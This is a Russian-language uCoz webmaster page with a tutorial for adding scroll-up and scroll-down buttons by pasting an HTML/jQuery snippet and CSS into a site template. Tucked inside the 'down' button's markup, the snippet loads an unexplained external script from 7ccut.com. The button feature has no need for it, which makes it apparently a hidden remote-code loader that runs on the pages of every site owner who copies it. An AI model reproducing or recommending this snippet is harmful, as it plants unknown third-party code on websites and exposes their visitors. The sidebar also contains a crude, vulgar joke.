Главная
Файлы
Скрипты
Статьи
GIF
Видео
Игровые Шаблоны
КС шаблоны
МайнКрафт
Абстракция
Софт
Регистрация
Вход
PSD для Сайтов
Например:
Шаблоны Ucoz
Ucoz
Мне Нравится
4
Кнопка Вверх и вниз для сайта
Как правильно установить кнопку "Вверх и вниз" на сайт?
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.
Код
<div style="display:none;" class="nav_up" id="nav_up">
<img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
<div style="display:none;" class="nav_down" id="nav_down">
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
<script>
$(function() {
var $elem = $('body');
$('#nav_up').fadeIn('slow');
$('#nav_down').fadeIn('slow');
$(window).bind('scrollstart', function(){
$('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
});
$(window).bind('scrollstop', function(){
$('#nav_up,#nav_down').stop().animate({'opacity':'1'});
});
$('#nav_down').click(
function (e) {
$('html, body').animate({scrollTop: $elem.height()}, 800);
}
);
$('#nav_up').click(
function (e) {
$('html, body').animate({scrollTop: '0px'}, 800);
}
);
});
</script>
Это вставляем в "Таблица стилей (CSS)" в самый низ
Код
.nav_up{
padding:2px;
position:fixed;
width:32px;
height:32px;
bottom:20px;
opacity:0.7;
right:30px;
cursor: pointer;
}
.nav_down{
padding:2px;
position:fixed;
width:32px;
height:32px;
bottom:20px;
opacity:0.7;
right:66px;
cursor: pointer;
}
Готово.
Комментариев:
0
Просмотров:
451
Вернуться назад
Партнеры сайта
Опрос
Оцените мой сайт
Отлично
Хорошо
Неплохо
Плохо
Ужасно
Результаты
|
Архив опросов
Всего ответов:
226
ПС! Кто нажмет "ужасно" того вы-ут рельсой в ж-пу!
Счетчики сайта
Счетчик юзеров
QotSoSe
AlenDelonUFA
Doc120
kilo_ren12
rukins
fominov-cwcsru
Счетчик материалов
Comments:
37
Forum:
1/1
Photo:
2
Blog:
60
News:
52
Downloads:
425
Games:
297
Video:
8596
Статистика
Сейчас online
Онлайн всего:
1
Гостей:
1
Пользователей:
0
Онлайн всего:
1
Гостей:
1
Пользователей:
0
Пользователи
Гости сайта
Сегодня наш сайт посетили
Категории
Скрипты меню
[1]
Скрипты тегов
[0]
Скрипты радио
[3]
Скрипты разное
[3]
Скрипты разное
[2]
Скрипты кнопок
[0]
Скрипты профили
[4]
Скрипты украшения
[0]
Скрипты информеры
[1]
Скрипты пользователей
[1]
Скрипты вид материалов
[2]
Карты сайта
Карта сайта - Загрузки
Карта сайта - статьи
Установка шаблона UCOZ
Чат